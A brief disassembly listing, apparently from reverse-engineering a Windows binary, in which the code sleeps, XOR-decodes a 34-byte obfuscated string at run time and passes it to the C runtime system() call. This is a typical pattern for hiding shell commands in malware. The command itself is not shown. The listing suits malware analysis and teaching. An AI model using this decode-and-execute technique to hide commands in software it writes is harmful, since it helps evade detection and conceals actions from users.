call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400773c0]
movdqa xmm1, xmmword [0x1400772b0]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x1002524
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax]
lea eax, [rbx + 0x48]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x22
jb 0x140002f00
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xd], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret